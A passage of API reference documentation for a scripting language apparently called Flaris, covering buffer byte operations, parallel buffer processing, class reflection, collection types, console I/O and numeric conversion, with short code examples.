Copy	`Copy(src:block, srcOff:int, dst:block, dstOff:int, len:int) - bool`	Copies `len` bytes from `src` to `dst`. Offsets in bytes. Bounds-checked.	✓
CopyBytesToArray	`CopyBytesToArray(buf:block, arr:array, offset?:int) - bool`	Writes `len(buf)` raw bytes from `buf` into `arr` starting at `offset`. Existing elements are updated in-place; elements past the current array length are appended. Optional `offset` defaults to 0. Returns `false` when nothing could be written: not an array, an array whose elements are not ints (`[float]`, `[string]`, `[char]`, `[bool]`, a matrix), a negative `offset`, or an `offset` past the end. A constant array raises `Exception.ConstAssign`, and a copy that would grow the array past 16,777,216 elements raises `Exception.SizeLimit`; neither writes anything.	—
CopyStringAt	`CopyStringAt(buf:block, offset:int, s:string, n:int) - bool`	Copies `n` bytes of `s` into `buf` at byte `offset`. `n` defaults to `len(s)`. Bounds-checked against the full byte extent (`count × size`); returns `false` if `offset + n` exceeds it, or on a non-block/non-string.	✓
WriteVarintAt	`WriteVarintAt(buf:block, offset:int, value:int) - int`	Writes `value` as an unsigned LEB128 varint (protobuf-style: 7 bits/byte, high bit = continuation, max 10 bytes). Returns the byte count written, or 0 if it would not fit. Zigzag-encode signed values first: `(n << 1) ^ (n >> 63)`.	✓
ReadVarintAt	`ReadVarintAt(buf:block, offset:int) - array`	Reads an unsigned LEB128 varint at `offset`. Returns `[value, bytesRead]`; `bytesRead` is 0 on out-of-range or malformed/truncated input (never reads past the block).	—
Create	`Create(count:int, size:int) - block`	Allocates new buffer: `count` elements, `size` bytes each (`size` in 1–255). `count` 0 gives an empty block, which a memory stream (`Stream.Open`) can grow. `nil` if `count` is negative or above 2^32-1, or `size` is outside 1–255; raises when the allocation exceeds the 2 GiB cap or fails.	✓ owned[1]
Fill	`Fill(buf:block, value:int) - bool`	Fills entire buffer with byte `value` (0–255). Mutates.	✓
ProcessCallback	`ProcessCallback(fn:function, buf:block, len:int, blocksize:int, cb:function) - nil`	Processes `buf` with your worker function `fn(buf, len, blocksize)`, then calls `cb(buf, result)` when finished. Returns immediately. Runs on another CPU core when `fn` is simple enough (see the note below), otherwise runs normally — same result either way.	✓
ProcessEvent	`ProcessEvent(fn:function, buf:block, len:int, blocksize:int, eventId:int) - nil`	Like `ProcessCallback`, but signals event `eventId` with the result instead of calling a callback. Start several and wait for them all with `Event.WaitFor([ids])`. See the note below.	✓
FromArray	`FromArray(buf:block, arr:array) - bool`	Writes integer array into buffer elements. Element size must be 1, 2, 4, or 8. Mutates.	✓
FromString	`FromString(s:string) - block`	Copies the raw bytes of `s` into a new block (`count = len(s)`, `size = 1`). Non-destructive - both string and block remain valid.	✓ owned[1]

Function	Signature	Description	JIT
GetAddress	`GetAddress(buf:block) - int`	Returns raw memory address as integer (for FFI/Memory API use). **Requires `--unsafe`** (unsafe mode); returns raw pointers, so it is gated like the `Memory.*` API.	✓
FillRange	`FillRange(buf:block, offset:int, length:int, value:int) - bool`	Sets `length` bytes starting at byte `offset` to byte `value` (0–255). Bounds-checked against the full backing span (`count × size`). `false` on a bad value or out-of-range span.	✓
IndexOf	`IndexOf(buf:block, needle:int|string, start?:int) - int`	Byte offset of the first match at or after `start` (default 0), or `-1`. `needle` is a byte (int 0–255) or a byte substring (string; empty string matches at `start`).	✓
LastIndexOf	`LastIndexOf(buf:block, needle:int|string, start?:int) - int`	Byte offset of the last match that begins at or before `start` (default: the end), or `-1`. Same `needle` forms as `IndexOf`; an empty string matches at `min(start, extent)`.	✓
Compare	`Compare(a:block, b:block) - int`	`memcmp`-style ordering (`-1` / `0` / `1`) over the two backing byte spans; the shorter buffer sorts first when one is a prefix of the other. `nil` if either argument is not a block.	✓
Equals	`Equals(a:block, b:block) - bool`	`true` if both backing spans are the same byte length and byte-for-byte equal.	✓
ReadI8At	`ReadI8At(buf:block, offset:int) - int`	Reads a sign-extended signed byte at `offset`. `0` if out of bounds.	✓
ReadI16At	`ReadI16At(buf:block, offset:int, bigEndian?:bool) - int`	Reads a sign-extended signed 2-byte integer at `offset`. Optional `bigEndian` defaults to `false`. `0` if out of bounds.	✓
ReadI32At	`ReadI32At(buf:block, offset:int, bigEndian?:bool) - int`	Reads a sign-extended signed 4-byte integer at `offset`. Optional `bigEndian` defaults to `false`. `0` if out of bounds.	✓
ReadFloat32At	`ReadFloat32At(buf:block, offset:int, bigEndian?:bool) - float`	Reads an IEEE 32-bit float at byte `offset`. Optional `bigEndian` defaults to `false`. `0.0` if out of bounds.	✓
ReadFloat64At	`ReadFloat64At(buf:block, offset:int, bigEndian?:bool) - float`	Reads an IEEE 64-bit double at byte `offset`. Optional `bigEndian` defaults to `false`. `0.0` if out of bounds.	✓
WriteFloat32At	`WriteFloat32At(buf:block, offset:int, value:float, bigEndian?:bool) - bool`	Stores an IEEE 32-bit float at byte `offset`. Optional `bigEndian` defaults to `false`. `false` if out of bounds.	✓
WriteFloat64At	`WriteFloat64At(buf:block, offset:int, value:float, bigEndian?:bool) - bool`	Stores an IEEE 64-bit double at byte `offset`. Optional `bigEndian` defaults to `false`. `false` if out of bounds.	✓
ReadU8At	`ReadU8At(buf:block, offset:int) - int`	Reads one byte at `offset`. Returns 0 if out of bounds.	✓
ReadU16At	`ReadU16At(buf:block, offset:int, bigEndian?:bool) - int`	Reads 2-byte unsigned integer at `offset`. Optional `bigEndian` defaults to `false` (little-endian). Returns 0 if out of bounds.	✓
ReadU32At	`ReadU32At(buf:block, offset:int, bigEndian?:bool) - int`	Reads 4-byte unsigned integer at `offset`. Optional `bigEndian` defaults to `false`. Returns 0 if out of bounds.	✓
ReadU64At	`ReadU64At(buf:block, offset:int, bigEndian?:bool) - int`	Reads 8-byte integer at `offset`. Optional `bigEndian` defaults to `false`. Returns 0 if out of bounds.	✓
Reserve	`Reserve(buf:block, capacity:int) - bool`	Ensures `buf` holds at least `capacity` **elements** (`capacity × size` bytes). Grows the buffer in-place via	✓

Function	Signature	Description	JIT
		`realloc` if needed; the block object is mutated, `len(buf)` reflects the new element count and the new elements are zero. No-op if already large enough; `false` on a non-block, a capacity outside 1..2^32-1, or a failed grow (the block is left untouched).	
Slice	`Slice(buf:block, offset:int, count:int) - block`	Returns new buffer: `count` elements starting at element index `offset`.	✓ owned[1]
StringToArray	`StringToArray(s:string, arr:array, offset?:int) - int`	Writes the raw UTF-8 bytes of `s` directly into `arr` at `offset` without allocating an intermediate block. Returns the number of bytes written (`len(s)`), or 0 when nothing could be written (not an array, an array whose elements are not ints, a negative `offset`, or an `offset` past the end). A constant array or a copy past 16,777,216 elements raises, as for `CopyBytesToArray`. Optional `offset` defaults to 0.	—
ToArray	`ToArray(buf:block, offset?:int, count?:int) - [int]`	A flat `[int]` array of the unsigned element values, `count` elements from element `offset` (`offset` defaults to 0, `count` to the rest). Element size must be 1, 2, 4, or 8; `nil` on a bad range.	✓ owned[1]
ToString	`ToString(buf:block, offset?:int, count?:int) - string`	Copies the raw bytes of `count` elements from element `offset` into a new string (`offset` defaults to 0, `count` to the rest), so `ToString(buf, off, n)` gives what `ToString(Slice(buf, off, n))` does without the intermediate block. Total bytes read = `count` × `size`. Non-destructive - block remains valid. `nil` on a bad range.	✓ owned[1]
WriteU8At	`WriteU8At(buf:block, offset:int, v:int) - bool`	Writes `v & 0xFF` at byte `offset`. Returns `false` if out of bounds.	✓
WriteU16At	`WriteU16At(buf:block, offset:int, v:int, bigEndian?:bool) - bool`	Writes 2-byte integer at `offset`. Optional `bigEndian` defaults to `false`. Returns `false` if out of bounds.	✓
WriteU32At	`WriteU32At(buf:block, offset:int, v:int, bigEndian?:bool) - bool`	Writes 4-byte integer at `offset`. Optional `bigEndian` defaults to `false`. Returns `false` if out of bounds.	✓
WriteU64At	`WriteU64At(buf:block, offset:int, v:int, bigEndian?:bool) - bool`	Writes 8-byte integer at `offset`. Optional `bigEndian` defaults to `false`. Returns `false` if out of bounds.	✓
Fill16	`Fill16(buf:block, value:int, bigEndian?:bool) - int`	Fills the whole buffer with the 2-byte encoding of `value` repeated. Returns the number of 2-byte units written; a trailing partial unit is left unchanged. Optional `bigEndian` defaults to `false`.	✓
Fill32	`Fill32(buf:block, value:int, bigEndian?:bool) - int`	Like `Fill16` with a 4-byte value.	✓
Fill64	`Fill64(buf:block, value:int, bigEndian?:bool) - int`	Like `Fill16` with an 8-byte value.	✓
Swap16	`Swap16(buf:block) - int`	Reverses the byte order of every whole 2-byte unit across the buffer in place (endianness conversion of a whole buffer). Returns the number of units swapped; a trailing partial unit is left unchanged. `0` on a non-block.	✓
Swap32	`Swap32(buf:block) - int`	Like `Swap16` with 4-byte units.	✓
Swap64	`Swap64(buf:block) - int`	Like `Swap16` with 8-byte units.	✓

Function	Signature	Description	JIT
FillPattern	`FillPattern(buf:block, pattern:block|string) - int`	Tiles the pattern's bytes (a block or a string) across the whole buffer extent (the last copy is truncated to fit). Returns the number of bytes written (the buffer extent), or `0` on a bad type or an empty pattern.	✓
Reverse	`Reverse(buf:block) - bool`	Reverses the buffer's elements in place (each element is `size` bytes; a byte buffer is reversed byte-for-byte). `false` on a non-block.	✓
CopyWithin	`CopyWithin(buf:block, destOff:int, srcOff:int, length:int) - bool`	Moves `length` bytes within the same buffer from byte `srcOff` to byte `destOff` (memmove; the spans may overlap). Bounds-checked against the byte extent; `false` if out of range.	✓
Concat	`Concat(a:block, b:block) - block`	Returns a new byte block (element size 1) holding `a`'s bytes followed by `b`'s bytes (each buffer's full extent). `nil` on a non-block.	✓ owned[1]
Append	`Append(buf:block, src:block|string) - int`	Grows `buf` in place and appends `src`'s bytes. Returns the new element count, or `0` on failure (non-block/-src, a byte count that is not a multiple of the element size, or a failed grow — on failure `buf` is left unchanged).	✓

- **ProcessCallback / ProcessEvent** — process a buffer, optionally on another CPU core
  - You give it a **worker function** `fn(buf, len, blocksize)` that reads and writes the buffer, plus a **`cb(buf, result)`** that runs when the work is finished. `ProcessCallback` returns right away; `cb` is called later. (`ProcessEvent` is the same but signals an event instead of calling `cb` — see below.)
  - `len` and `blocksize` are just two numbers passed straight through to your worker function for it to use as it likes (typically the element count and the element bit-width, 8/16/32/64). The call does not split or reinterpret the buffer for you.
  - Your worker function returns an `int` or a `float`; that value arrives as the second argument of `cb(buf, result)`. If the work hits an error (e.g. an out-of-range index), `result` is `nil` — it never crashes your program.
  - **To make it run on another core, keep the worker function simple:** it must only read/write the buffer you passed and do plain number math — **no** creating strings/arrays/objects and **no** calling other functions from inside it. Its first parameter must be the buffer and any others must be `int`. A function that follows these rules runs in parallel; any other function still works correctly but runs normally (in line), so you get the same result either way.
  - **`cb` has no such restriction** — it is an ordinary function. Read the finished buffer, allocate, call anything.
  - **To actually run work in parallel, start several calls at once** over *different* buffers. Each returns immediately, so the jobs run side by side. A single call processes one buffer; it does not split one buffer across cores.
  - **`ProcessEvent(fn, buf, len, blocksize, eventId)`** delivers the result into an event instead of calling a callback. Start several jobs, each with its own event id, then wait for them all in one line with `Event.WaitFor([ids])` — it blocks until every job is done and returns the results as an array (see the example). Handy when you want to fan out and then continue once everything finishes.

```
// Process 4 buffers in parallel, then wait for all of them in one line.
fn kernel(b:block, len:int, _bs:int): int {
```

```
    var sum = 0; var i = 0;
    while (i < len) { b[i] = (b[i] * 2 + 1) % 256; sum = sum + b[i]; i = i + 1; }
    return sum;
}
fn async Main() {
    let bufs = [Buffer.Create(1024,1), Buffer.Create(1024,1),
                Buffer.Create(1024,1), Buffer.Create(1024,1)];
    let ids  = [Event.Create(), Event.Create(), Event.Create(), Event.Create()];
    for (let k = 0; k < 4; k++) { Buffer.ProcessEvent(kernel, bufs[k], 1024, 8, ids[k]); }
    let checksums = Event.WaitFor(ids);   // blocks until all four events are set
}
```

```
// Process 4 buffers in parallel, using a counter to tell when all are done.
global done = 0;
fn kernel(b:block, len:int, _bs:int): int {
    var sum = 0; var i = 0;
    while (i < len) { b[i] = (b[i] * 2 + 1) % 256; sum = sum + b[i]; i = i + 1; }
    return sum;               // delivered to cb as `result`
}
fn onDone(b:block, result:int) { done = done + 1; }   // called when a job finishes

fn async Main() {
    let bufs = [Buffer.Create(1024,1), Buffer.Create(1024,1),
                Buffer.Create(1024,1), Buffer.Create(1024,1)];
    for (let k = 0; k < 4; k++) { Buffer.ProcessCallback(kernel, bufs[k], 1024, 8, onDone); }
    while (done < 4) { Fiber.Sleep(1); }              // wait for all 4 callbacks
}
```

- **FromString / ToString**
  - Both are non-destructive copies - unlike `ChangeToString`, neither modifies the source object.
  - `ToString` reads `count × size` bytes, so a buffer created with `Buffer.Create(n, 4)` will produce a string of `n × 4` bytes. For raw byte buffers intended for string conversion, use `size = 1`.
  - Primary use case is passing string data to FFI functions and reading string results back:

```
    let buf    = Buffer.FromString(http_response.body);
    let result = my_ffi_fn(buf);
    Console.WriteLine(Buffer.ToString(result));
```

- **CopyBytesToArray / StringToArray**
  - These avoid the round-trip overhead of `ToArray` + a Flaris loop when writing into an existing byte array.
  - `StringToArray` reads directly from the string's internal bytes - no block is allocated.
  - Both are zero-copy for the destination: existing array slots (0–255 byte values) are updated in-place without heap allocation.

- Elements the copy replaces are released after the whole copy, so a destructor one of them runs sees the copy finished.

```
// Write UTF-8 bytes of a string into a pre-allocated byte array at offset 10
let n:int = Buffer.StringToArray(s, my_arr, 10);

// Copy raw bytes from a block into an array
let blk:block = Buffer.FromString(s);
Buffer.CopyBytesToArray(blk, my_arr, 0);
```

Class

Namespace: `Class`

Type-level introspection, inheritance inspection, and dynamic reflection on user-defined classes.

Function	Signature	Description	JIT
InstanceOf	`InstanceOf(inst:instance, cls:class) - bool`	`true` if instance was created from `class` or any base class.	✓
SubclassOf	`SubclassOf(A:class, B:class) - bool`	`true` if `A` is `B` or `A` descends from `B`. Siblings (a shared parent) and same-named unrelated classes are **not** subclasses.	✓
IsClass	`IsClass(value:any) - bool`	`true` if value is a class object.	✓
IsInstance	`IsInstance(value:any) - bool`	`true` if value is a class instance.	✓
Of	`Of(obj:instance|class) - class`	Runtime class of an instance; identity for a class. The unambiguous "get the type" primitive.	—
GetBase	`GetBase(obj:instance|class) - class`	For a **class**, its immediate base (or nil). For an **instance**, its own class — use `Of` when you want the type unambiguously.	—
GetName	`GetName(obj:instance|class) - string`	Class name string, or nil for other types.	—
Name	`Name(obj:instance|class) - string`	Alias of `GetName`. Allocation-free (returns the existing class-name string).	—
Fields	`Fields(inst:instance) - array`	Field name strings on an instance, inherited included.	—
InstanceMethods	`InstanceMethods(cls:class) - array`	Instance method names declared on the class (not inherited).	—
StaticMethods	`StaticMethods(cls:class) - array`	Static method names declared on the class (not inherited).	—
AllMethods	`AllMethods(obj:instance|class) - array`	Every resolved method name, inherited included (overrides appear once).	—
HasMethod	`HasMethod(target:instance|class, name:string) - bool`	`true` if `name` resolves to a method (inherited included).	—
GetMethod	`GetMethod(target:instance|class, name:string) - any`	Callable handle for method `name`: a bound method for an instance method, the raw function for a static; nil if absent or cross-context.	—
GetField	`GetField(inst:instance, name:string) - any`	Value of the declared field `name` (inherited included), or nil. Methods/consts are not fields.	—
SetField	`SetField(inst:instance, name:string, value:any) - bool`	Writes a declared field; returns `false` for an undeclared name or frozen instance. Never fabricates a field.	—
Invoke	`Invoke(target:instance|class, name:string, ...args) - any`	Dynamically calls method `name` on instance or class.	—

Function	Signature	Description	JIT
Instantiate	`Instantiate(name:string) - instance`	New instance of the named global class **without** running its Constructor (fields get declared defaults). Nil for an unknown or non-class name.	—
Define	`Define(name:string, fields:object) - class`	Build a class at runtime from `fields` (field name → default value) and return it. The class is **anonymous**: it is never bound to a global, so it cannot shadow a declared class, and two calls with the same `name` yield two distinct types (`name` is metadata for `GetName`). Instances get a real slot per field, are sealed exactly like a declared class's, and work with every `Class.*` function, `Json.Deserialize`. Each default is cloned, so instances never share one mutable value and later mutation of the object you passed cannot reach the template. Field order follows the object's insertion order. **The field set is final** — an instance is a single allocation sized from the field count, so a class can never gain a field afterwards. Raises `InvalidArgs` on a non-string name, a non-object `fields`, or more than 4096 fields.	—
New	`New(target:class|string, ...args) - instance`	New instance of a class (object or global name) **with** its Constructor run against `args`. Nil for an unknown/non-class target.	—

Collections

Namespace: `Collections`

Factory functions for Stack, Queue, Deque, LinkedList, HashMap, PriorityQueue, MaxPriorityQueue, Set, and OrderedMap. Each factory returns an instance whose state is private: it has no fields visible to scripts, `Object.Keys` / `Object.Values`, or reflection.

Every collection works with the generic operations:

Operation	Stack, Queue, Deque, LinkedList, Set	HashMap, OrderedMap	PriorityQueue
`foreach (v, k in c)`	`v` = element (the `ToArray` order), `k` = index	`v` = value, `k` = key (OrderedMap: insertion order)	`v` = `{Value, Priority}` (heap order), `k` = index
`Json.Stringify(c)`	JSON array	JSON object (keys as `str(key)`)	array of `{Value, Priority}`
`str(c)`	`<Stack[3]>` - the kind and the element count	`<HashMap[2]>`	`<PriorityQueue[1]>`
`Object.Clone(c)`	independent deep copy	independent deep copy, same order	independent deep copy

`foreach` walks a snapshot taken when the loop starts, so changing the collection inside the loop does not affect the iteration.

Stack - `Collections.Stack() - object`

Last-in, first-out stack. `Push`, `Pop`, `Peek`, `IsEmpty`, and `Size` are O(1) (`Push` is amortized O(1): storage doubles when full); `Clear` and `ToArray` are O(n). Holds up to 16,777,216 elements; a `Push` beyond that raises `SizeLimit`.

Method	Description
`s.Push(v)`	Push value to top. Returns the stack for chaining.
`s.Pop(default?)`	Remove and return top; when empty, `default` (or `nil`).
`s.Peek(default?)`	Return top without removing; when empty, `default` (or `nil`).
`s.Contains(v)`	`true` if an element is strictly equal to `v`.
`s.IsEmpty()`	`true` if stack has no elements.
`s.Size()`	Number of elements.
`s.Clear()`	Remove all elements.
`s.ToArray()`	Return a copy of the elements as a new array (bottom-to-top).

A stored `nil` and an empty stack both make `Pop()` return `nil`; pass a `default` that cannot be stored (or check `IsEmpty()`) to tell them apart.

Queue - `Collections.Queue() – object`

First-in, first-out queue. `Enqueue`, `Dequeue`, `Peek`, `IsEmpty`, and `Size` are O(1) (`Enqueue` is amortized O(1): storage doubles when full); `Clear` and `ToArray` are O(n). Holds up to 16,777,216 elements; an `Enqueue` beyond that raises `SizeLimit`.

Method	Description
`q.Enqueue(v)`	Add value to back. Returns the queue for chaining.
`q.Dequeue(default?)`	Remove and return front; when empty, `default` (or `nil`).
`q.Peek(default?)`	Return front without removing; when empty, `default` (or `nil`).
`q.Contains(v)`	`true` if an element is strictly equal to `v`.
`q.IsEmpty()`	`true` if queue has no elements.
`q.Size()`	Number of elements.
`q.Clear()`	Remove all elements.
`q.ToArray()`	Return a copy of the elements as a new array (front-to-back).

A stored `nil` and an empty queue both make `Dequeue()` return `nil`; pass a `default` that cannot be stored (or check `IsEmpty()`) to tell them apart.

HashMap - `Collections.HashMap(capacity?:int) – object`

Keys may be any hashable value (int, char, bool, string, float, ...); lookup matches by hash, which is **by value** for numbers, bools, and strings (equal values, however computed, hit the same entry; `1`, `1.0`, `true`, and `'1'` are all different keys). Other heap objects (arrays, instances, ...) hash by identity, so only the same object matches. Pass an optional `capacity` to pre-size the map when the final key count is known, avoiding intermediate regrows. Iteration order (`Keys` / `Values`) is **not** stable across processes.

Method	Description
`m.Set(key, value)`	Set key to value.
`m.Get(key, default?)`	Return value for key, else `default` (if given) or `nil`.
`m.Has(key)`	`true` if key exists.
`m.Delete(key)`	Remove key; return `true` if it existed. `m.Remove(key)` is the same.
`m.GetOrAdd(key, value)`	The stored value for `key`; if there is none, store `value` and return it.
`m.Clear()`	Remove all entries.
`m.Size()`	Number of entries.
`m.Keys()`	Return array of all keys (unspecified order).
`m.Entries()`	Return array of `[key, value]` pairs (same order as `Keys`).
`m.Values()`	Return array of all values (unspecified order).

PriorityQueue - `Collections.PriorityQueue() – object`

Min-heap: `Dequeue()` always returns the smallest value.

Method	Description
`q.Enqueue(v, priority)`	Insert value with numeric priority (int or float; a NaN priority raises `InvalidArgs`).
`q.Dequeue(default?)`	Remove and return the value with the lowest priority; when empty, `default` (or `nil`).
`q.Peek(default?)`	Return the lowest-priority value without removing; when empty, `default` (or `nil`).
`q.IsEmpty()`	`true` if queue has no elements.
`q.Size()`	Number of elements.
`q.Clear()`	Remove all elements.
`q.ToArray()`	Return the queued entries as an array of `{ Value, Priority }` objects, in the heap's internal order (**not** sorted - drain with `Dequeue` for priority order).

MaxPriorityQueue - `Collections.MaxPriorityQueue() – object`

Max-heap: `Dequeue()` always returns the largest value. Same API as `PriorityQueue`.

Deque / LinkedList - `Collections.Deque() – object`, `Collections.LinkedList() – object`

Double-ended queue (ring buffer): values are added and removed at either end. `Deque` and `LinkedList` are the same structure under two names; `LinkedList` is kept for existing code. `PushFront`, `PushBack`, `PopFront`, `PopBack`, `PeekFront`, `PeekBack`, `IsEmpty`, and `Size` are O(1) (the pushes are amortized O(1): storage doubles when full); `Clear`, `ToArray`, and `Contains` are O(n). There is no access to elements between the ends. Holds up to 16,777,216 elements; a push beyond that raises `SizeLimit`.

Method	Description
`d.PushFront(v)`	Insert at front. Returns `self` for chaining.
`d.PushBack(v)`	Insert at back. Returns `self` for chaining.
`d.PopFront(default?)`	Remove and return front value; when empty, `default` (or `nil`).
`d.PopBack(default?)`	Remove and return back value; when empty, `default` (or `nil`).
`d.PeekFront(default?)`	Return front value without removing; when empty, `default` (or `nil`).
`d.PeekBack(default?)`	Return back value without removing; when empty, `default` (or `nil`).
`d.Contains(v)`	`true` if an element is strictly equal to `v`.
`d.IsEmpty()`	`true` if it has no elements.
`d.Size()`	Number of elements.
`d.Clear()`	Remove all elements.
`d.ToArray()`	Return a copy of the elements as a new array (front-to-back).

Set - `Collections.Set(arr?:array) – object`

Hash set: `Add`, `Has`, and `Remove` are one hash lookup each. Optionally seeded with the elements of an array of any kind (duplicates collapse). Membership follows the value hash, exactly like `HashMap` keys: numbers, bools, and strings compare by value; arrays, objects, and instances by identity.

Method	Description
`s.Add(v)`	Insert `v`. Returns `true` if newly added, `false` if already present.
`s.Has(v)`	`true` if `v` is a member.
`s.Remove(v)`	Remove `v`; return `true` if it was present.
`s.Union(other)`	New Set with every element of both sets.

Method	Description
`s.Intersect(other)`	New Set with the elements present in both sets.
`s.Difference(other)`	New Set with the elements of `s` not in `other`.
`s.SymmetricDifference(other)`	New Set with the elements in exactly one of the two sets.
`s.IsSubsetOf(other)`	`true` if every element of `s` is in `other`.
`s.IsSupersetOf(other)`	`true` if every element of `other` is in `s`.
`s.Overlaps(other)`	`true` if the sets share at least one element.
`s.SetEquals(other)`	`true` if both sets hold the same elements.
`s.IsEmpty()`	`true` if the set has no elements.
`s.Size()`	Number of elements.
`s.Clear()`	Remove all elements.
`s.ToArray()`	Return the elements as an array (hash order, not insertion order).

The operations that take `other` raise `InvalidArgs` when it is not a `Set`.

```
let seen = Collections.Set();
if (seen.Add(id)) {
    // first time we see id
}
let common = Collections.Set(a).Intersect(Collections.Set(b));
```

OrderedMap - `Collections.OrderedMap() – object`

Insertion-ordered hash map (a LinkedHashMap): O(1) key lookup like `HashMap` plus deterministic insertion-order iteration. Internally a hash index over a doubly-linked node chain. `Set` / `Get` / `Has` / `Delete` / `First` / `Last` / `PopFirst` / `PopLast` / `MoveToEnd` / `MoveToFront` / `Size` are O(1); `Keys` / `Values` / `Entries` / `ToArray` / `Clear` are O(n). Key equality follows the value hash, exactly like `HashMap` keys. Setting an existing key updates its value in place and leaves its position unchanged; use `MoveToEnd` / `MoveToFront` to reorder (e.g. to drive an LRU cache).

Method	Description
`m.Set(k, v)`	Insert or update. Existing keys keep their position. Returns `true`.
`m.Get(k, default?)`	Stored value, else `default` (if given) or `nil`.
`m.Has(k)`	`true` if the key is present.
`m.Delete(k)`	Remove the entry; `true` if it existed. O(1).
`m.First()`	Oldest value (head) without removing, or `nil`.
`m.Last()`	Newest value (tail) without removing, or `nil`.
`m.PopFirst()`	Remove and return the oldest value (FIFO/LRU eviction), or `nil`.
`m.PopLast()`	Remove and return the newest value, or `nil`.
`m.MoveToEnd(k)`	Move an existing key to newest position (LRU touch); `true` if present.
`m.MoveToFront(k)`	Move an existing key to oldest position; `true` if present.
`m.Keys()`	Keys as an array, in insertion order. O(n).
`m.Values()`	Values as an array, in insertion order. O(n).
`m.Entries()`	`[key, value]` pairs as an array, in insertion order. O(n).
`m.ToArray()`	Values in insertion order (alias of `Values`). O(n).
`m.IsEmpty()`	`true` if the map has no entries.
`m.Size()`	Number of entries.
`m.Clear()`	Remove all entries. O(n).

`m.Remove(k)` is the same as `m.Delete(k)`.

```
// LRU cache: evict the least-recently-used entry when over capacity.
let cache = Collections.OrderedMap();
fn touch(key, value) {
    cache.Set(key, value);
    cache.MoveToEnd(key);              // mark as most-recently-used
    if (cache.Size() > 100) cache.PopFirst();  // drop the oldest
}
```

Console

Namespace: `Console`

Terminal I/O, color, and cursor control. Every read of stdin - these functions and `Stream.Stdin()` alike - goes through one buffer, so bytes one of them reads ahead are never lost to the other.

Function	Signature	Description	JIT
Clear	`Clear() - nil`	Clear the entire terminal screen and move cursor to home (1,1).	—
ClearLine	`ClearLine() - nil`	Erase the current line and move cursor to column 1.	—
Error	`Error(...args:any) - nil`	Print the arguments, space-separated, to stdout after a ❌ marker, with a newline.	—
GetCursor	`GetCursor() - object`	The cursor position as `{Cols, Rows}`, counted from 0. `nil` when stdin or stdout is not a terminal, or the terminal does not answer.	—
IsTTY	`IsTTY() - bool`	`true` if stdout is a real terminal (not piped).	—
KeyPressed	`KeyPressed() - bool`	`true` if a key is waiting (non-blocking), a byte stdin has already read ahead included.	—
Ok	`Ok(...args:any) - nil`	Print the arguments, space-separated, to stdout after a ✅ marker, with a newline.	—
ReadChar	`ReadChar() - char`	Read a single character from stdin (blocking); `nil` at end of input.	—
ReadFloat	`ReadFloat() - float`	Read one line from stdin as a float; `nil` at end of input, or when the line is not one clean number (surrounding spaces allowed). The whole line is consumed.	—
ReadInt	`ReadInt() - int`	Read one line from stdin as an integer; `nil` at end of input, or when the line is not one clean integer (surrounding spaces allowed) or overflows. The whole line is consumed.	—
ReadKey	`ReadKey() - object`	Blocking read of one keypress. Returns `{Key:string, Char:char, IsSpecial:bool}`. `Key` is `"Up"`, `"Down"`, `"Left"`, `"Right"`, `"Home"`, `"End"`, `"PageUp"`, `"PageDown"`, `"Insert"`, `"Delete"`, `"Enter"`, `"Escape"`, `"Backspace"`, `"Tab"`, `"F1"`–`"F12"`, or a single printable character, and `""` at end of input. `IsSpecial` is `true` for arrows, function keys, and the navigation cluster.	—
ReadLine	`ReadLine() - string`	Read a line from stdin (blocking). The line ends at `\n`, and a `\r` right before it is dropped - the rule `Stream.ReadLine` uses, so any other `\r` stays in the line. `nil` at end of input.	—
ReadPassword	`ReadPassword() - string`	Read a line without echo, by the same rule as `ReadLine`; `""` at end of input.	—
RestoreCursor	`RestoreCursor() - nil`	Restore previously saved cursor position.	—
SaveCursor	`SaveCursor() - nil`	Save current cursor position.	—
SetBackground	`SetBackground(color:int) - nil`	Set background color. Use the `Console.ConsoleColor.*` constants.	—

Function	Signature	Description	JIT
SetColor	`SetColor(color:int) - nil`	Set foreground color. Use the `Console.ConsoleColor.*` constants.	—
SetCursor	`SetCursor(row:int, col:int) - nil`	Move the cursor to `row`, `col`, both counted from 1 (a value below 1 counts as 1).	—
SetRaw	`SetRaw(enable:bool) - nil`	Enable or disable terminal raw mode. When `true`: disables line buffering and echo so individual keypresses are available immediately without pressing Enter. Restore with `SetRaw(false)` before exit. Has no effect if not running on a TTY.	—
Size	`Size() - array`	The terminal's size as `[cols, rows]`; `nil` when stdout is not a terminal.	—
TryReadChar	`TryReadChar() - char`	Non-blocking: the waiting character, or `nil` when there is none.	—
Warn	`Warn(...args:any) - nil`	Print the arguments, space-separated, to stdout after a ⚠ marker, with a newline.	—
Write	`Write(...args:any) - nil`	Print to stdout without trailing newline.	—
WriteLines	`WriteLines(...args:any) - nil`	Print multiple values each on its own line.	—
WriteLine	`WriteLine(...args:any) - nil`	Print to stdout with trailing newline. A built-in class's instance (a collection, `Random`, a `Weak` handle) prints as `str()` shows it, e.g. `<Stack[2]>`.	—

ConsoleColor constants (`Console.ConsoleColor.Red`, ...): `Default`, `Red`, `Green`, `Blue`, `Yellow`, `Cyan`

Convert

Namespace: `Convert`

Type conversion and parsing with full range of integer widths.

Function	Signature	Description	JIT
ToBool	`ToBool(v:int|float|bool|char) - bool`	Convert numeric to bool.	✓
ToChar	`ToChar(v:int|float|bool|char) - char|nil`	Convert numeric to char (Unicode codepoint); `nil` outside 0–0x10FFFF.	✓
ToFloat	`ToFloat(v:int|float|bool|char) - float`	Convert numeric to float.	✓
ToInt	`ToInt(v:int|float|bool|char) - int`	Convert numeric to int.	✓
ToInt8	`ToInt8(v:int|float|bool|char) - int`	Truncate to signed 8-bit, stored as int.	✓
ToInt16	`ToInt16(v:int|float|bool|char) - int`	Truncate to signed 16-bit, stored as int.	✓
ToInt32	`ToInt32(v:int|float|bool|char) - int`	Truncate to signed 32-bit, stored as int.	✓
ToInt64	`ToInt64(v:int|float|bool|char) - int`	Truncate to signed 64-bit, stored as int.	✓
ToUInt8	`ToUInt8(v:int|float|bool|char) - int`	Truncate to unsigned 8-bit, stored as int.	✓
ToUInt16	`ToUInt16(v:int|float|bool|char) - int`	Truncate to unsigned 16-bit, stored as int.	✓
ToUInt32	`ToUInt32(v:int|float|bool|char) - int`	Truncate to unsigned 32-bit, stored as int.	✓
ToUInt64	`ToUInt64(v:int|float|bool|char) - int`	Truncate to unsigned 64-bit, stored as int.	✓
ToString	`ToString(v:int|float|bool|char|string) - string`	Precise, round-trippable string form (floats via `%.17g`). Chars/bools render as their numeric value (`ToString('A')` → `"65"`); use `str()` for the short display form.	✓ owned[1]
